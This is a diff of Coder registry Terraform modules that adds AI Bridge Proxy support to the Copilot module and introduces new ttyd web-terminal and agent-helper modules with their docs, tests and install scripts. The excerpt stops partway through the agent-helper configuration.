||||
module "copilot" {
|
||||
source = "registry.coder.com/coder-labs/copilot/coder"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
agent_id = coder_agent.example.id
|
||||
workdir = "/home/coder/projects"
|
||||
|
||||
@@ -142,7 +142,7 @@ variable "github_token" {
|
||||
|
||||
module "copilot" {
|
||||
source = "registry.coder.com/coder-labs/copilot/coder"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
agent_id = coder_agent.example.id
|
||||
workdir = "/home/coder/projects"
|
||||
github_token = var.github_token
|
||||
@@ -156,7 +156,7 @@ Run Copilot as a command-line tool without task reporting or web interface. This
|
||||
```tf
|
||||
module "copilot" {
|
||||
source = "registry.coder.com/coder-labs/copilot/coder"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
agent_id = coder_agent.example.id
|
||||
workdir = "/home/coder"
|
||||
report_tasks = false
|
||||
@@ -164,6 +164,39 @@ module "copilot" {
|
||||
}
|
||||
```
|
||||
|
||||
### Usage with AI Bridge Proxy
|
||||
|
||||
[AI Bridge Proxy](https://coder.com/docs/ai-coder/ai-bridge/ai-bridge-proxy) routes Copilot traffic through [AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) for centralized LLM management and governance.
|
||||
The proxy environment variables are scoped to the Copilot process only and do not affect other workspace traffic.
|
||||
|
||||
```tf
|
||||
module "aibridge-proxy" {
|
||||
source = "registry.coder.com/coder/aibridge-proxy/coder"
|
||||
version = "1.0.0"
|
||||
agent_id = coder_agent.main.id
|
||||
proxy_url = "https://aiproxy.example.com"
|
||||
}
|
||||
|
||||
module "copilot" {
|
||||
source = "registry.coder.com/coder-labs/copilot/coder"
|
||||
version = "0.4.0"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/projects"
|
||||
enable_aibridge_proxy = true
|
||||
aibridge_proxy_auth_url = module.aibridge-proxy.proxy_auth_url
|
||||
aibridge_proxy_cert_path = module.aibridge-proxy.cert_path
|
||||
}
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> AI Bridge Proxy is a Premium Coder feature that requires [AI Governance Add-On](https://coder.com/docs/ai-coder/ai-governance).
|
||||
> See the [AI Bridge Proxy setup guide](https://coder.com/docs/ai-coder/ai-bridge/ai-bridge-proxy/setup) for details on configuring the proxy on your Coder deployment.
|
||||
> GitHub authentication is still required for Copilot as the proxy authenticates with AI Bridge using the Coder session token, but does not replace GitHub authentication.
|
||||
|
||||
> [!IMPORTANT]
|
||||
> When using AI Bridge Proxy, enable [startup coordination](https://coder.com/docs/admin/templates/startup-coordination) by setting `CODER_AGENT_SOCKET_SERVER_ENABLED=true` in the workspace container environment.
|
||||
> This ensures the Copilot module waits for the `aibridge-proxy` module to complete before starting. Without it, the Copilot start script may fail if the AI Bridge Proxy setup has not completed in time.
|
||||
|
||||
## Authentication
|
||||
|
||||
The module supports multiple authentication methods (in priority order):
|
||||
|
||||
@@ -234,3 +234,116 @@ run "app_slug_is_consistent" {
|
||||
error_message = "module_dir_name should be '.copilot-module'"
|
||||
}
|
||||
}
|
||||
|
||||
run "aibridge_proxy_defaults" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
workdir = "/home/coder"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.enable_aibridge_proxy == false
|
||||
error_message = "enable_aibridge_proxy should default to false"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.aibridge_proxy_auth_url == null
|
||||
error_message = "aibridge_proxy_auth_url should default to null"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.aibridge_proxy_cert_path == null
|
||||
error_message = "aibridge_proxy_cert_path should default to null"
|
||||
}
|
||||
}
|
||||
|
||||
run "aibridge_proxy_enabled" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-aibridge-proxy"
|
||||
workdir = "/home/coder"
|
||||
enable_aibridge_proxy = true
|
||||
aibridge_proxy_auth_url = "https://coder:mock-token@aiproxy.example.com"
|
||||
aibridge_proxy_cert_path = "/tmp/aibridge-proxy/ca-cert.pem"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.enable_aibridge_proxy == true
|
||||
error_message = "AI Bridge Proxy should be enabled"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.aibridge_proxy_auth_url == "https://coder:mock-token@aiproxy.example.com"
|
||||
error_message = "AI Bridge Proxy auth URL should match the input variable"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.aibridge_proxy_cert_path == "/tmp/aibridge-proxy/ca-cert.pem"
|
||||
error_message = "AI Bridge Proxy cert path should match the input variable"
|
||||
}
|
||||
}
|
||||
|
||||
run "aibridge_proxy_validation_missing_proxy_auth_url" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-validation"
|
||||
workdir = "/home/coder"
|
||||
enable_aibridge_proxy = true
|
||||
aibridge_proxy_auth_url = ""
|
||||
aibridge_proxy_cert_path = "/tmp/aibridge-proxy/ca-cert.pem"
|
||||
}
|
||||
|
||||
expect_failures = [
|
||||
var.enable_aibridge_proxy,
|
||||
]
|
||||
}
|
||||
|
||||
run "aibridge_proxy_validation_missing_cert_path" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-validation"
|
||||
workdir = "/home/coder"
|
||||
enable_aibridge_proxy = true
|
||||
aibridge_proxy_auth_url = "https://coder:mock-token@aiproxy.example.com"
|
||||
aibridge_proxy_cert_path = ""
|
||||
}
|
||||
|
||||
expect_failures = [
|
||||
var.enable_aibridge_proxy,
|
||||
]
|
||||
}
|
||||
|
||||
run "aibridge_proxy_with_copilot_config" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
workdir = "/home/coder"
|
||||
copilot_model = "gpt-5"
|
||||
github_token = "ghp_test123"
|
||||
allow_all_tools = true
|
||||
enable_aibridge_proxy = true
|
||||
aibridge_proxy_auth_url = "https://coder:mock-token@aiproxy.example.com"
|
||||
aibridge_proxy_cert_path = "/tmp/aibridge-proxy/ca-cert.pem"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.enable_aibridge_proxy == true
|
||||
error_message = "AI Bridge Proxy should be enabled"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = length(resource.coder_env.github_token) == 1
|
||||
error_message = "github_token environment variable should be set alongside proxy"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = length(resource.coder_env.copilot_model) == 1
|
||||
error_message = "copilot_model environment variable should be set alongside proxy"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
terraform {
|
||||
required_version = ">= 1.0"
|
||||
required_version = ">= 1.9"
|
||||
required_providers {
|
||||
coder = {
|
||||
source = "coder/coder"
|
||||
@@ -173,6 +173,35 @@ variable "post_install_script" {
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "enable_aibridge_proxy" {
|
||||
type = bool
|
||||
description = "Route Copilot traffic through AI Bridge Proxy. See https://coder.com/docs/ai-coder/ai-bridge/ai-bridge-proxy"
|
||||
default = false
|
||||
|
||||
validation {
|
||||
condition = !var.enable_aibridge_proxy || (var.aibridge_proxy_auth_url != null && length(var.aibridge_proxy_auth_url) > 0)
|
||||
error_message = "aibridge_proxy_auth_url is required when enable_aibridge_proxy is true."
|
||||
}
|
||||
|
||||
validation {
|
||||
condition = !var.enable_aibridge_proxy || (var.aibridge_proxy_cert_path != null && length(var.aibridge_proxy_cert_path) > 0)
|
||||
error_message = "aibridge_proxy_cert_path is required when enable_aibridge_proxy is true."
|
||||
}
|
||||
}
|
||||
|
||||
variable "aibridge_proxy_auth_url" {
|
||||
type = string
|
||||
description = "AI Bridge Proxy URL with authentication. Use the proxy_auth_url output from the aibridge-proxy module."
|
||||
default = null
|
||||
sensitive = true
|
||||
}
|
||||
|
||||
variable "aibridge_proxy_cert_path" {
|
||||
type = string
|
||||
description = "Path to the AI Bridge Proxy CA certificate. Use the cert_path output from the aibridge-proxy module."
|
||||
default = null
|
||||
}
|
||||
|
||||
data "coder_workspace" "me" {}
|
||||
data "coder_workspace_owner" "me" {}
|
||||
|
||||
@@ -279,6 +308,9 @@ module "agentapi" {
|
||||
ARG_TRUSTED_DIRECTORIES='${join(",", var.trusted_directories)}' \
|
||||
ARG_EXTERNAL_AUTH_ID='${var.external_auth_id}' \
|
||||
ARG_RESUME_SESSION='${var.resume_session}' \
|
||||
ARG_ENABLE_AIBRIDGE_PROXY='${var.enable_aibridge_proxy}' \
|
||||
ARG_AIBRIDGE_PROXY_AUTH_URL='${var.aibridge_proxy_auth_url != null ? var.aibridge_proxy_auth_url : ""}' \
|
||||
ARG_AIBRIDGE_PROXY_CERT_PATH='${var.aibridge_proxy_cert_path != null ? var.aibridge_proxy_cert_path : ""}' \
|
||||
/tmp/start.sh
|
||||
EOT
|
||||
|
||||
|
||||
@@ -22,6 +22,9 @@ ARG_DENY_TOOLS=${ARG_DENY_TOOLS:-}
|
||||
ARG_TRUSTED_DIRECTORIES=${ARG_TRUSTED_DIRECTORIES:-}
|
||||
ARG_EXTERNAL_AUTH_ID=${ARG_EXTERNAL_AUTH_ID:-github}
|
||||
ARG_RESUME_SESSION=${ARG_RESUME_SESSION:-true}
|
||||
ARG_ENABLE_AIBRIDGE_PROXY=${ARG_ENABLE_AIBRIDGE_PROXY:-false}
|
||||
ARG_AIBRIDGE_PROXY_AUTH_URL=${ARG_AIBRIDGE_PROXY_AUTH_URL:-}
|
||||
ARG_AIBRIDGE_PROXY_CERT_PATH=${ARG_AIBRIDGE_PROXY_CERT_PATH:-}
|
||||
|
||||
validate_copilot_installation() {
|
||||
if ! command_exists copilot; then
|
||||
@@ -118,6 +121,48 @@ setup_github_authentication() {
|
||||
return 0
|
||||
}
|
||||
|
||||
setup_aibridge_proxy() {
|
||||
if [ "$ARG_ENABLE_AIBRIDGE_PROXY" != "true" ]; then
|
||||
return 0
|
||||
fi
|
||||
|
||||
echo "Setting up AI Bridge Proxy..."
|
||||
|
||||
# Wait for the aibridge-proxy module to finish.
|
||||
# Uses startup coordination to block until aibridge-proxy-setup signals completion.
|
||||
if command -v coder > /dev/null 2>&1; then
|
||||
coder exp sync want "copilot-aibridge" "aibridge-proxy-setup" > /dev/null 2>&1 || true
|
||||
coder exp sync start "copilot-aibridge" > /dev/null 2>&1 || true
|
||||
trap 'coder exp sync complete "copilot-aibridge" > /dev/null 2>&1 || true' EXIT
|
||||
fi
|
||||
|
||||
if [ -z "$ARG_AIBRIDGE_PROXY_AUTH_URL" ]; then
|
||||
echo "ERROR: AI Bridge Proxy is enabled but no proxy auth URL provided."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ -z "$ARG_AIBRIDGE_PROXY_CERT_PATH" ]; then
|
||||
echo "ERROR: AI Bridge Proxy is enabled but no certificate path provided."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ ! -f "$ARG_AIBRIDGE_PROXY_CERT_PATH" ]; then
|
||||
echo "ERROR: AI Bridge Proxy certificate not found at $ARG_AIBRIDGE_PROXY_CERT_PATH."
|
||||
echo " Ensure the aibridge-proxy module has successfully completed setup."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Set proxy environment variables scoped to this process tree only.
|
||||
# These are inherited by the agentapi/copilot process below,
|
||||
# but do not affect other workspace processes, avoiding routing
|
||||
# unnecessary traffic through the proxy.
|
||||
export HTTPS_PROXY="$ARG_AIBRIDGE_PROXY_AUTH_URL"
|
||||
export NODE_EXTRA_CA_CERTS="$ARG_AIBRIDGE_PROXY_CERT_PATH"
|
||||
|
||||
echo "✓ AI Bridge Proxy configured"
|
||||
echo " CA certificate: $ARG_AIBRIDGE_PROXY_CERT_PATH"
|
||||
}
|
||||
|
||||
start_agentapi() {
|
||||
echo "Starting in directory: $ARG_WORKDIR"
|
||||
cd "$ARG_WORKDIR"
|
||||
@@ -157,5 +202,6 @@ start_agentapi() {
|
||||
}
|
||||
|
||||
setup_github_authentication
|
||||
setup_aibridge_proxy
|
||||
validate_copilot_installation
|
||||
start_agentapi
|
||||
|
||||
@@ -10,8 +10,6 @@ tags: [nextflow, workflow, hpc, bioinformatics]
|
||||
|
||||
A module that adds Nextflow to your Coder template.
|
||||
|
||||

|
||||
|
||||
```tf
|
||||
module "nextflow" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
---
|
||||
display_name: ttyd
|
||||
description: Share a terminal command over the web via a Coder app
|
||||
icon: ../../../../.icons/terminal.svg
|
||||
verified: true
|
||||
tags: [terminal, web, ttyd]
|
||||
---
|
||||
|
||||
# ttyd
|
||||
|
||||
Run any command and expose it as a web-based terminal via [ttyd](https://github.com/tsl0922/ttyd). Each connection spawns a new process for the configured command. The terminal is accessible as a Coder app in the workspace UI.
|
||||
|
||||
```tf
|
||||
module "ttyd" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder-labs/ttyd/coder"
|
||||
version = "1.0.0"
|
||||
agent_id = coder_agent.main.id
|
||||
command = "bash"
|
||||
}
|
||||
```
|
||||
|
||||
## Examples
|
||||
|
||||
### Custom command
|
||||
|
||||
```tf
|
||||
module "ttyd" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder-labs/ttyd/coder"
|
||||
version = "1.0.0"
|
||||
agent_id = coder_agent.main.id
|
||||
display_name = "Shared Terminal"
|
||||
command = "tmux new-session -A -s main"
|
||||
share = "authenticated"
|
||||
}
|
||||
```
|
||||
|
||||
### Readonly with custom ttyd options
|
||||
|
||||
```tf
|
||||
module "ttyd" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder-labs/ttyd/coder"
|
||||
version = "1.0.0"
|
||||
agent_id = coder_agent.main.id
|
||||
command = "tail -f /var/log/app.log"
|
||||
writable = false
|
||||
additional_args = "-t fontSize=18"
|
||||
}
|
||||
```
|
||||
|
||||
## Session Behavior
|
||||
|
||||
By default, each browser tab that opens the ttyd app spawns a **new process** for the configured command. Closing the tab kills that process.
|
||||
|
||||
To get a **persistent, shared session** that survives tab closes and allows multiple viewers, use tmux as the command (see example above). This requires tmux to be installed in the workspace image.
|
||||
@@ -0,0 +1,112 @@
|
||||
import { describe, expect, it } from "bun:test";
|
||||
import {
|
||||
executeScriptInContainer,
|
||||
runTerraformApply,
|
||||
runTerraformInit,
|
||||
type scriptOutput,
|
||||
testRequiredVariables,
|
||||
} from "~test";
|
||||
|
||||
function testBaseLine(output: scriptOutput) {
|
||||
expect(output.exitCode).toBe(0);
|
||||
|
||||
const stdout = output.stdout.join("\n");
|
||||
expect(stdout).toContain("Installing ttyd");
|
||||
expect(stdout).toContain("Installation complete!");
|
||||
expect(stdout).toContain("Starting ttyd in background...");
|
||||
}
|
||||
|
||||
describe("ttyd", async () => {
|
||||
await runTerraformInit(import.meta.dir);
|
||||
|
||||
testRequiredVariables(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
command: "bash",
|
||||
});
|
||||
|
||||
it("runs with bash", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
command: "bash",
|
||||
});
|
||||
|
||||
const output = await executeScriptInContainer(
|
||||
state,
|
||||
"alpine/curl",
|
||||
"sh",
|
||||
"apk add bash",
|
||||
);
|
||||
|
||||
testBaseLine(output);
|
||||
}, 30000);
|
||||
|
||||
it("runs with custom command", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
command: "htop",
|
||||
});
|
||||
|
||||
const output = await executeScriptInContainer(
|
||||
state,
|
||||
"alpine/curl",
|
||||
"sh",
|
||||
"apk add bash",
|
||||
);
|
||||
|
||||
testBaseLine(output);
|
||||
expect(output.stdout.join("\n")).toContain("htop");
|
||||
}, 30000);
|
||||
|
||||
it("runs with writable=false", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
command: "bash",
|
||||
writable: "false",
|
||||
});
|
||||
|
||||
const output = await executeScriptInContainer(
|
||||
state,
|
||||
"alpine/curl",
|
||||
"sh",
|
||||
"apk add bash",
|
||||
);
|
||||
|
||||
testBaseLine(output);
|
||||
}, 30000);
|
||||
|
||||
it("runs with subdomain=false", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
command: "bash",
|
||||
agent_name: "main",
|
||||
subdomain: "false",
|
||||
});
|
||||
|
||||
const output = await executeScriptInContainer(
|
||||
state,
|
||||
"alpine/curl",
|
||||
"sh",
|
||||
"apk add bash",
|
||||
);
|
||||
|
||||
testBaseLine(output);
|
||||
}, 30000);
|
||||
|
||||
it("runs with additional_args", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
command: "bash",
|
||||
additional_args: "-t fontSize=18",
|
||||
});
|
||||
|
||||
const output = await executeScriptInContainer(
|
||||
state,
|
||||
"alpine/curl",
|
||||
"sh",
|
||||
"apk add bash",
|
||||
);
|
||||
|
||||
testBaseLine(output);
|
||||
expect(output.stdout.join("\n")).toContain("fontSize=18");
|
||||
}, 30000);
|
||||
});
|
||||
@@ -0,0 +1,165 @@
|
||||
terraform {
|
||||
required_version = ">= 1.0"
|
||||
|
||||
required_providers {
|
||||
coder = {
|
||||
source = "coder/coder"
|
||||
version = ">= 2.5"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
variable "agent_id" {
|
||||
type = string
|
||||
description = "The ID of a Coder agent."
|
||||
}
|
||||
|
||||
data "coder_workspace" "me" {}
|
||||
|
||||
data "coder_workspace_owner" "me" {}
|
||||
|
||||
variable "agent_name" {
|
||||
type = string
|
||||
description = "The name of the coder_agent resource. (Only required if subdomain is false and the template uses multiple agents.)"
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "slug" {
|
||||
type = string
|
||||
description = "The slug of the coder_app resource."
|
||||
default = "ttyd"
|
||||
}
|
||||
|
||||
variable "display_name" {
|
||||
type = string
|
||||
description = "The display name for the ttyd application."
|
||||
default = "Web Terminal"
|
||||
}
|
||||
|
||||
variable "port" {
|
||||
type = number
|
||||
description = "The port to run ttyd on."
|
||||
default = 7681
|
||||
}
|
||||
|
||||
variable "command" {
|
||||
type = string
|
||||
description = "The command for ttyd to run (e.g., bash, fish, htop)."
|
||||
}
|
||||
|
||||
variable "writable" {
|
||||
type = bool
|
||||
description = "Allow clients to write to the terminal."
|
||||
default = true
|
||||
}
|
||||
|
||||
variable "max_clients" {
|
||||
type = number
|
||||
description = "Maximum number of concurrent clients (0 for unlimited)."
|
||||
default = 0
|
||||
}
|
||||
|
||||
variable "additional_args" {
|
||||
type = string
|
||||
description = "Additional arguments to pass to ttyd."
|
||||
default = ""
|
||||
}
|
||||
|
||||
variable "log_path" {
|
||||
type = string
|
||||
description = "The path to log ttyd output to. Defaults to ~/.local/state/ttyd/ttyd.log (XDG-compliant)."
|
||||
default = ""
|
||||
}
|
||||
|
||||
variable "ttyd_version" {
|
||||
type = string
|
||||
description = "The version of ttyd to install."
|
||||
default = "1.7.7"
|
||||
}
|
||||
|
||||
variable "share" {
|
||||
type = string
|
||||
description = "Who can access the app: 'owner' (workspace owner only), 'authenticated' (logged-in users), or 'public' (anyone)."
|
||||
default = "owner"
|
||||
validation {
|
||||
condition = var.share == "owner" || var.share == "authenticated" || var.share == "public"
|
||||
error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'."
|
||||
}
|
||||
}
|
||||
|
||||
variable "subdomain" {
|
||||
type = bool
|
||||
description = <<-EOT
|
||||
Determines whether the app will be accessed via its own subdomain or whether it will be accessed via a path on Coder.
|
||||
If wildcards have not been setup by the administrator then apps with "subdomain" set to true will not be accessible.
|
||||
EOT
|
||||
default = true
|
||||
}
|
||||
|
||||
variable "order" {
|
||||
type = number
|
||||
description = "The order determines the position of app in the UI presentation. The lowest order is shown first and apps with equal order are sorted by name (ascending order)."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "group" {
|
||||
type = string
|
||||
description = "The name of a group that this app belongs to."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "open_in" {
|
||||
type = string
|
||||
description = <<-EOT
|
||||
Determines where the app will be opened. Valid values are "tab" and "slim-window" (default).
|
||||
"tab" opens in a new tab in the same browser window.
|
||||
"slim-window" opens a new browser window without navigation controls.
|
||||
EOT
|
||||
default = "slim-window"
|
||||
validation {
|
||||
condition = contains(["tab", "slim-window"], var.open_in)
|
||||
error_message = "The 'open_in' variable must be one of: 'tab', 'slim-window'."
|
||||
}
|
||||
}
|
||||
|
||||
resource "coder_script" "ttyd" {
|
||||
agent_id = var.agent_id
|
||||
display_name = var.display_name
|
||||
icon = "/icon/terminal.svg"
|
||||
script = templatefile("${path.module}/run.sh", {
|
||||
PORT = var.port,
|
||||
COMMAND = var.command,
|
||||
WRITABLE = var.writable,
|
||||
MAX_CLIENTS = var.max_clients,
|
||||
ADDITIONAL_ARGS = var.additional_args,
|
||||
LOG_PATH = local.log_path,
|
||||
VERSION = var.ttyd_version,
|
||||
BASE_PATH = local.base_path,
|
||||
})
|
||||
run_on_start = true
|
||||
}
|
||||
|
||||
resource "coder_app" "ttyd" {
|
||||
count = var.command != "" ? 1 : 0
|
||||
agent_id = var.agent_id
|
||||
slug = var.slug
|
||||
display_name = var.display_name
|
||||
url = "http://localhost:${var.port}${local.base_path}/"
|
||||
icon = "/icon/terminal.svg"
|
||||
subdomain = var.subdomain
|
||||
share = var.share
|
||||
order = var.order
|
||||
group = var.group
|
||||
open_in = var.open_in
|
||||
|
||||
healthcheck {
|
||||
url = "http://localhost:${var.port}${local.base_path}/token"
|
||||
interval = 5
|
||||
threshold = 6
|
||||
}
|
||||
}
|
||||
|
||||
locals {
|
||||
base_path = var.subdomain ? "" : format("/@%s/%s%s/apps/%s", data.coder_workspace_owner.me.name, data.coder_workspace.me.name, var.agent_name != null ? ".${var.agent_name}" : "", var.slug)
|
||||
log_path = var.log_path != "" ? var.log_path : "~/.local/state/ttyd/ttyd.log"
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
BOLD='\033[[0;1m'
|
||||
|
||||
if command -v ttyd &> /dev/null; then
|
||||
printf "%sFound existing ttyd installation\n\n" "$${BOLD}"
|
||||
else
|
||||
printf "%sInstalling ttyd %s\n\n" "$${BOLD}" "${VERSION}"
|
||||
|
||||
ARCH=$(uname -m)
|
||||
# shellcheck disable=SC2195
|
||||
case "$${ARCH}" in
|
||||
x86_64) BINARY="ttyd.x86_64" ;;
|
||||
aarch64) BINARY="ttyd.aarch64" ;;
|
||||
armv7l) BINARY="ttyd.armhf" ;;
|
||||
armv6l) BINARY="ttyd.arm" ;;
|
||||
*)
|
||||
echo "ERROR: Unsupported architecture: $${ARCH}" >&2
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
BIN_DIR="$${HOME}/.local/bin"
|
||||
mkdir -p "$${BIN_DIR}"
|
||||
export PATH="$${BIN_DIR}:$${PATH}"
|
||||
|
||||
TTYD_BIN="$${BIN_DIR}/ttyd"
|
||||
LOCK_DIR="/tmp/ttyd-install.lock"
|
||||
|
||||
if [[ ! -f "$${TTYD_BIN}" ]]; then
|
||||
if mkdir "$${LOCK_DIR}" 2> /dev/null; then
|
||||
if [[ ! -f "$${TTYD_BIN}" ]]; then
|
||||
DOWNLOAD_URL="https://github.com/tsl0922/ttyd/releases/download/${VERSION}/$${BINARY}"
|
||||
printf "Downloading ttyd from %s\n" "$${DOWNLOAD_URL}"
|
||||
curl -fsSL "$${DOWNLOAD_URL}" -o "$${TTYD_BIN}.tmp"
|
||||
chmod +x "$${TTYD_BIN}.tmp"
|
||||
mv "$${TTYD_BIN}.tmp" "$${TTYD_BIN}"
|
||||
fi
|
||||
rmdir "$${LOCK_DIR}" 2> /dev/null || true
|
||||
else
|
||||
printf "Waiting for ttyd installation to complete...\n"
|
||||
while [[ -d "$${LOCK_DIR}" ]] && [[ ! -f "$${TTYD_BIN}" ]]; do
|
||||
sleep 0.5
|
||||
done
|
||||
fi
|
||||
fi
|
||||
|
||||
printf "Installation complete!\n\n"
|
||||
fi
|
||||
|
||||
if [[ -z "${COMMAND}" ]]; then
|
||||
printf "No command specified, skipping ttyd startup.\n"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
ARGS="-p ${PORT}"
|
||||
|
||||
if [[ "${WRITABLE}" = "true" ]]; then
|
||||
ARGS="$${ARGS} -W"
|
||||
fi
|
||||
|
||||
if [[ "${MAX_CLIENTS}" -gt 0 ]] 2> /dev/null; then
|
||||
ARGS="$${ARGS} -m ${MAX_CLIENTS}"
|
||||
fi
|
||||
|
||||
if [[ -n "${BASE_PATH}" ]]; then
|
||||
ARGS="$${ARGS} -b ${BASE_PATH}"
|
||||
fi
|
||||
|
||||
if [[ -n "${ADDITIONAL_ARGS}" ]]; then
|
||||
ARGS="$${ARGS} ${ADDITIONAL_ARGS}"
|
||||
fi
|
||||
|
||||
TTYD_LOG_PATH="${LOG_PATH}"
|
||||
TTYD_LOG_PATH="$${TTYD_LOG_PATH/#\~/$${HOME}}"
|
||||
TTYD_LOG_DIR="$${TTYD_LOG_PATH%/*}"
|
||||
mkdir -p "$${TTYD_LOG_DIR}"
|
||||
|
||||
printf "Starting ttyd in background...\n"
|
||||
printf "Running: ttyd %s -- %s\n\n" "$${ARGS}" "${COMMAND}"
|
||||
|
||||
# shellcheck disable=SC2086
|
||||
ttyd $${ARGS} -- ${COMMAND} >> "$${TTYD_LOG_PATH}" 2>&1 &
|
||||
|
||||
printf "Logs at %s\n" "$${TTYD_LOG_PATH}"
|
||||
@@ -0,0 +1,65 @@
|
||||
---
|
||||
display_name: Agent Helper
|
||||
description: Building block for modules that need orchestrated script execution
|
||||
icon: ../../../../.icons/coder.svg
|
||||
verified: false
|
||||
tags: [internal, library]
|
||||
---
|
||||
|
||||
# Agent Helper
|
||||
|
||||
> [!CAUTION]
|
||||
> We do not recommend using this module directly. It is intended primarily for internal use by Coder to create modules with orchestrated script execution.
|
||||
|
||||
The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - The `agent_name` should be the same as that of the agentapi module's `agent_name` if used together.
|
||||
|
||||
```tf
|
||||
module "agent_helper" {
|
||||
source = "registry.coder.com/coder/agent-helper/coder"
|
||||
version = "1.0.0"
|
||||
|
||||
agent_id = coder_agent.main.id
|
||||
agent_name = "myagent"
|
||||
module_dir_name = ".my-module"
|
||||
|
||||
pre_install_script = <<-EOT
|
||||
#!/bin/bash
|
||||
echo "Running pre-install tasks..."
|
||||
# Your pre-install logic here
|
||||
EOT
|
||||
|
||||
install_script = <<-EOT
|
||||
#!/bin/bash
|
||||
echo "Installing dependencies..."
|
||||
# Your install logic here
|
||||
EOT
|
||||
|
||||
post_install_script = <<-EOT
|
||||
#!/bin/bash
|
||||
echo "Running post-install configuration..."
|
||||
# Your post-install logic here
|
||||
EOT
|
||||
|
||||
start_script = <<-EOT
|
||||
#!/bin/bash
|
||||
echo "Starting the application..."
|
||||
# Your start logic here
|
||||
EOT
|
||||
}
|
||||
```
|
||||
|
||||
## Execution Order
|
||||
|
||||
The module orchestrates scripts in the following order:
|
||||
|
||||
1. **Log File Creation** - Creates module directory and log files
|
||||
2. **Pre-Install Script** (optional) - Runs before installation
|
||||
3. **Install Script** - Main installation
|
||||
4. **Post-Install Script** (optional) - Runs after installation
|
||||
5. **Start Script** - Starts the application
|
||||
|
||||
Each script waits for its prerequisites to complete before running using `coder exp sync` dependency management.
|
||||
@@ -0,0 +1,13 @@
|
||||
import { describe } from "bun:test";
|
||||
import { runTerraformInit, testRequiredVariables } from "~test";
|
||||
|
||||
describe("agent-helper", async () => {
|
||||
await runTerraformInit(import.meta.dir);
|
||||
|
||||
testRequiredVariables(import.meta.dir, {
|
||||
agent_id: "test-agent-id",
|
||||
agent_name: "test-agent",
|
||||
module_dir_name: ".test-module",
|
||||
start_script: "echo 'start'",
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,190 @@
|
||||
terraform {
|
||||
required_version = ">= 1.0"
|
||||
|
||||
required_providers {
|
||||
coder = {
|
||||
source = "coder/coder"
|
||||
version = ">= 2.13"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
variable "agent_id" {
|
||||
type = string
|
||||
description = "The ID of a Coder agent."
|
||||
}
|
||||
|
||||
data "coder_workspace" "me" {}
|
||||
|
||||
data "coder_workspace_owner" "me" {}
|
||||
|
||||
data "coder_task" "me" {}
|
||||
|
||||
variable "pre_install_script" {
|
||||
type = string
|
||||
description = "Custom script to run before installing the agent used by AgentAPI."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "install_script" {
|
||||
type = string
|
||||
description = "Script to install the agent used by AgentAPI."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "post_install_script" {
|
||||
type = string
|
||||
description = "Custom script to run after installing the agent used by AgentAPI."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "start_script" {
|
||||
type = string
|
||||
description = "Script that starts AgentAPI."
|
||||
}
|
||||
|
||||
variable "agent_name" {
|
||||
type = string
|
||||
description = "The name of the agent. This is used to construct unique script names for the experiment sync."
|
||||
|
||||
}
|
||||
|
||||
variable "module_dir_name" {
|
||||
type = string
|
||||
description = "The name of the module directory."
|
||||
}
|
||||
|
||||
locals {
|
||||
encoded_pre_install_script = var.pre_install_script != null ? base64encode(var.pre_install_script) : ""
|
